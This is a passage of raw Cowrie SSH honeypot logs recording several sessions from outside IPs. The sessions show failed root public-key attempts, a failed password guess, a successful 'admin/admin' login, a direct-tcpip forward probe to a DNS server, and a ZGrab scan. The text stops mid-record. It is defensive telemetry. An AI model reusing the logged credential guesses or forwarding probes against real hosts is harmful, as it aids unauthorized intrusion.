{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":60620,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf3bc2f3d94","protocol":"ssh","message":"New connection: 31.42.176.142:60620 (10.17.0.5:22) [session: fcf3bc2f3d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.323202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.326151Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.406317Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:62:b2:7a:d0:bb:cf:22:3e:df:7b:e6:80:4f:bf:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Ec5uwH6BfwSSi8+a8VcAizLtnwF+4xNnbMvpjbsagRxXqCXlDWibntIeQetL9d8TGxp9skbkSmt2G1gFc17GeSxHhje9fZr8L38T/Y+2X1v+VcO1n8ygFOqWcY1CZ0rML6SvP/+YBrDoDW4SVHh+ugb7SiMdDtYP3oBYk/Sdxf3nAQ2J5c+ZeZ6eF587Bc4/EuS3+lSbMk/PFu1QlhIOeIlpdnaeFsxVk7vNzC5fp4S5+l3RBBe/sL706PoXR+dbTtI++rLXUqYPdhZNe0/eGZ+PrjVT1ZVe8QHgZecnvq3rvgGJa79sQf58UwAKrEE1wZtX9kBdOF6TJ1nkCSH4GpEK4x8dm388rG7MFUAVf7hwFP5uPDXyKXEinqkk7sNqw6mnb+4qLw+Cb/Yg9wzhj1l5TI1OJwVOFHMLIerUl0UlcokocGLJoqMJdIAGqwhhYNBEm0Iz6U/y6zQFg0uwfkygmGMfXDwk/MlyGeah2uGsP9HqsoY/UddT7NdeJ8cpQetrtxfrXMw7vllY9PeKTQen8h99KCpWe8k0k+6Wjj0wt4+ntHU+7Ns6jLlMPLoMzoVw/1g8PVi3sTlgrRnheFwnvLaYioIMrZYMmACXvJOvI8JvE8Kg0DF64e0K1ZtA/nJPiTx6+ONxhGykqhzt4XgaE17uHKbbQdjX+SDOzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:62:b2:7a:d0:bb:cf:22:3e:df:7b:e6:80:4f:bf:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.785470Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:62:b2:7a:d0:bb:cf:22:3e:df:7b:e6:80:4f:bf:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Ec5uwH6BfwSSi8+a8VcAizLtnwF+4xNnbMvpjbsagRxXqCXlDWibntIeQetL9d8TGxp9skbkSmt2G1gFc17GeSxHhje9fZr8L38T/Y+2X1v+VcO1n8ygFOqWcY1CZ0rML6SvP/+YBrDoDW4SVHh+ugb7SiMdDtYP3oBYk/Sdxf3nAQ2J5c+ZeZ6eF587Bc4/EuS3+lSbMk/PFu1QlhIOeIlpdnaeFsxVk7vNzC5fp4S5+l3RBBe/sL706PoXR+dbTtI++rLXUqYPdhZNe0/eGZ+PrjVT1ZVe8QHgZecnvq3rvgGJa79sQf58UwAKrEE1wZtX9kBdOF6TJ1nkCSH4GpEK4x8dm388rG7MFUAVf7hwFP5uPDXyKXEinqkk7sNqw6mnb+4qLw+Cb/Yg9wzhj1l5TI1OJwVOFHMLIerUl0UlcokocGLJoqMJdIAGqwhhYNBEm0Iz6U/y6zQFg0uwfkygmGMfXDwk/MlyGeah2uGsP9HqsoY/UddT7NdeJ8cpQetrtxfrXMw7vllY9PeKTQen8h99KCpWe8k0k+6Wjj0wt4+ntHU+7Ns6jLlMPLoMzoVw/1g8PVi3sTlgrRnheFwnvLaYioIMrZYMmACXvJOvI8JvE8Kg0DF64e0K1ZtA/nJPiTx6+ONxhGykqhzt4XgaE17uHKbbQdjX+SDOzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.787945Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:1a:e2:fd:8f:da:3e:1e:f1:0d:cb:6a:0e:83:c5:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx66jBRYgdBqswmjDWxJR0Kyg2ebNGEdAo3Vamhavy3f9hgkdT3vdSwdDhUbZVHnl909rf4umiEXRrjMwbpdYqpqSMu2l5aDFOfMcZMTMepLw/AXinnTHdWjcSsUXePv2wLzHZQYtmISDz01GTcTk2m0eyVDTccIsHsTiqJ2qhWGJo25jPDH7GSAjIg0NYrTdpwT310VKxoeLVEdqu03NMFABNfAAp41g03gCTyB3ja+CwjZ3FkcNWZDEZZcOsxteo1POrODKeoSBL01uOZdKgM+aDLTBIqAmngiuPAf76zufsLtNxk4nmLPHrrivDGSA7Ypn81fU0Zz7EPqBketrrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:1a:e2:fd:8f:da:3e:1e:f1:0d:cb:6a:0e:83:c5:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.868310Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:1a:e2:fd:8f:da:3e:1e:f1:0d:cb:6a:0e:83:c5:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx66jBRYgdBqswmjDWxJR0Kyg2ebNGEdAo3Vamhavy3f9hgkdT3vdSwdDhUbZVHnl909rf4umiEXRrjMwbpdYqpqSMu2l5aDFOfMcZMTMepLw/AXinnTHdWjcSsUXePv2wLzHZQYtmISDz01GTcTk2m0eyVDTccIsHsTiqJ2qhWGJo25jPDH7GSAjIg0NYrTdpwT310VKxoeLVEdqu03NMFABNfAAp41g03gCTyB3ja+CwjZ3FkcNWZDEZZcOsxteo1POrODKeoSBL01uOZdKgM+aDLTBIqAmngiuPAf76zufsLtNxk4nmLPHrrivDGSA7Ypn81fU0Zz7EPqBketrrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.871442Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:5d:0e:72:7b:bb:e8:bc:8f:a5:88:e9:6d:03:81:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8i9dRAXOQvbOt8og32RykpZgQ+Y7c20vkm/6jEWd55pDGlSWtchGMRB9CsrYexViJN8g16B07iLcmJUV/4ZxDFZ+tTeTUjv/aa3K52xt1QdxD6lTu3Y1LJOJ++lQgwBZJd575oSAF8SBjlIauRKYquxm8VJQXUb4HLh5/OUm9IcES2GZJti0Ggobi5o5kDIQKgnJo2LqpIEjUpgFgZH1Fzs/ylGtqTeP2hKB9R8mpYlS4CeWHurX4vprmIzLUELSnVtMBS2FZDm5Ci8uLvgfw8fKj5cxOlzQQnpyhLh0d7fADoMi3tFfnQ2zrXSK7bXa4w8VUaXrDBhSxew2FQLMBkDsvnyP3cUQ35VvUqBNXmxAvI1Ij1llsbuM1NNl0ENS+QRe/xZbJMoJS/7w4RHEdhYF3C//LlP1TDy3HpNHfxxzs9KuNnuslqaR+qqUl53kqgV58YAgCfJNysEr4oBjiKlj6KafqQA2DwiyS+1UspKLICCq1bjPo5SdA6Q17Vt/b1HBkdpioM8kLtSGZm5qYQr0nKJ9dyAYAWaszZDPQPZgeRUohozyuoHNNxWCm7utNLgzYpFsjyyLoGcF9YK7n7BUPX/wjpNsezCk6U2pFx02qPV9AEfWaEVr7rmlueND3xayCreLr+yQAEA8kh/M2fniOC6jerL4Od25C2/KDtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:5d:0e:72:7b:bb:e8:bc:8f:a5:88:e9:6d:03:81:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.952976Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:5d:0e:72:7b:bb:e8:bc:8f:a5:88:e9:6d:03:81:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8i9dRAXOQvbOt8og32RykpZgQ+Y7c20vkm/6jEWd55pDGlSWtchGMRB9CsrYexViJN8g16B07iLcmJUV/4ZxDFZ+tTeTUjv/aa3K52xt1QdxD6lTu3Y1LJOJ++lQgwBZJd575oSAF8SBjlIauRKYquxm8VJQXUb4HLh5/OUm9IcES2GZJti0Ggobi5o5kDIQKgnJo2LqpIEjUpgFgZH1Fzs/ylGtqTeP2hKB9R8mpYlS4CeWHurX4vprmIzLUELSnVtMBS2FZDm5Ci8uLvgfw8fKj5cxOlzQQnpyhLh0d7fADoMi3tFfnQ2zrXSK7bXa4w8VUaXrDBhSxew2FQLMBkDsvnyP3cUQ35VvUqBNXmxAvI1Ij1llsbuM1NNl0ENS+QRe/xZbJMoJS/7w4RHEdhYF3C//LlP1TDy3HpNHfxxzs9KuNnuslqaR+qqUl53kqgV58YAgCfJNysEr4oBjiKlj6KafqQA2DwiyS+1UspKLICCq1bjPo5SdA6Q17Vt/b1HBkdpioM8kLtSGZm5qYQr0nKJ9dyAYAWaszZDPQPZgeRUohozyuoHNNxWCm7utNLgzYpFsjyyLoGcF9YK7n7BUPX/wjpNsezCk6U2pFx02qPV9AEfWaEVr7rmlueND3xayCreLr+yQAEA8kh/M2fniOC6jerL4Od25C2/KDtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:12.955814Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:e5:8c:f2:99:1d:2d:11:dd:86:92:4f:4c:c6:04:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwmDf1BZGbR4JLbe+S51e6YawXG61y10nRPrmOdiyOw9veQTkHLObqM15g919SrhyreTgs8e8MdOwSasChVpsvPi/F89sd4DACzmEjiqE1pY6IdoLVA/ZfxOSBf/l5yoL2rSITMPW9ijocxbala1bWhwsLX9IYxrGkxM/2JIEbF1c+Wj1LRc7xRoKNO3VdKr+UHbjambrtkKQogpbPhShCAcdXpe1Iuy10IlpOGaM7ggi0PtPqV5KzwGwV4mcDGdjzj5gY2RNKh08/fM3o0mE0fnChfMeEpy2BSR0ZyIgWHkMQgJRNRw3B0p9xdgeLKQnGs0Let9TMrMJEZ/ajBuUzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:e5:8c:f2:99:1d:2d:11:dd:86:92:4f:4c:c6:04:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:13.036624Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:e5:8c:f2:99:1d:2d:11:dd:86:92:4f:4c:c6:04:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwmDf1BZGbR4JLbe+S51e6YawXG61y10nRPrmOdiyOw9veQTkHLObqM15g919SrhyreTgs8e8MdOwSasChVpsvPi/F89sd4DACzmEjiqE1pY6IdoLVA/ZfxOSBf/l5yoL2rSITMPW9ijocxbala1bWhwsLX9IYxrGkxM/2JIEbF1c+Wj1LRc7xRoKNO3VdKr+UHbjambrtkKQogpbPhShCAcdXpe1Iuy10IlpOGaM7ggi0PtPqV5KzwGwV4mcDGdjzj5gY2RNKh08/fM3o0mE0fnChfMeEpy2BSR0ZyIgWHkMQgJRNRw3B0p9xdgeLKQnGs0Let9TMrMJEZ/ajBuUzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:13.039795Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:24:02:81:20:c2:db:1b:9b:b3:71:78:21:87:6f:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiXdDFEj1e1A6S1sKhUu0c7tV6DCQk0anJSmRcAE2DOUtmVTGKNc9ucv9i31AbUJVuiOEZYLo2s5SbVTdRsBkW/LQi0gsUBJ5Nz6+rCS/KzB8vKhV54gQqCzgeFCFy7Xwl4Zo5DnZcQaQDvZPtq8w0TVcCwT4qotjmGhvxTIwhWoSgdSVYPpKTSx6uGR+ggLC4iJjLtieA7QlEeCodvcIBrjlRq/0XAxOLohjgUYHsPmo0rr00QocXYqozXtsrV0j7q/Duj1hgIJ6jTYrajW9LdDpGlUFIHVBtAwWjMrpD5LbXIOBHBRub3/HssbwmcAZsHg2ravo55gnAfABLfFyf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:24:02:81:20:c2:db:1b:9b:b3:71:78:21:87:6f:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:13.121693Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:24:02:81:20:c2:db:1b:9b:b3:71:78:21:87:6f:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiXdDFEj1e1A6S1sKhUu0c7tV6DCQk0anJSmRcAE2DOUtmVTGKNc9ucv9i31AbUJVuiOEZYLo2s5SbVTdRsBkW/LQi0gsUBJ5Nz6+rCS/KzB8vKhV54gQqCzgeFCFy7Xwl4Zo5DnZcQaQDvZPtq8w0TVcCwT4qotjmGhvxTIwhWoSgdSVYPpKTSx6uGR+ggLC4iJjLtieA7QlEeCodvcIBrjlRq/0XAxOLohjgUYHsPmo0rr00QocXYqozXtsrV0j7q/Duj1hgIJ6jTYrajW9LdDpGlUFIHVBtAwWjMrpD5LbXIOBHBRub3/HssbwmcAZsHg2ravo55gnAfABLfFyf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:13.124619Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:13.205387Z","src_ip":"31.42.176.142","session":"fcf3bc2f3d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34100,"dst_ip":"10.17.0.5","dst_port":22,"session":"d63406c82a7f","protocol":"ssh","message":"New connection: 194.113.233.25:34100 (10.17.0.5:22) [session: d63406c82a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:49.297497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:49.301081Z","src_ip":"194.113.233.25","session":"d63406c82a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:49.390331Z","src_ip":"194.113.233.25","session":"d63406c82a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:49.657938Z","src_ip":"194.113.233.25","session":"d63406c82a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:50.749454Z","src_ip":"194.113.233.25","session":"d63406c82a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32214,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d6411b074f1","protocol":"ssh","message":"New connection: 87.251.64.176:32214 (10.17.0.5:22) [session: 6d6411b074f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.297240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.301734Z","src_ip":"87.251.64.176","session":"6d6411b074f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.396160Z","src_ip":"87.251.64.176","session":"6d6411b074f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.680214Z","src_ip":"87.251.64.176","session":"6d6411b074f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.778089Z","session":"6d6411b074f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.874027Z","src_ip":"87.251.64.176","session":"6d6411b074f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:20.970982Z","src_ip":"87.251.64.176","session":"6d6411b074f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.159","src_port":59546,"dst_ip":"10.17.0.5","dst_port":22,"session":"68262dec1f9d","protocol":"ssh","message":"New connection: 205.210.31.159:59546 (10.17.0.5:22) [session: 68262dec1f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:33.756012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:34.535952Z","src_ip":"205.210.31.159","session":"68262dec1f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","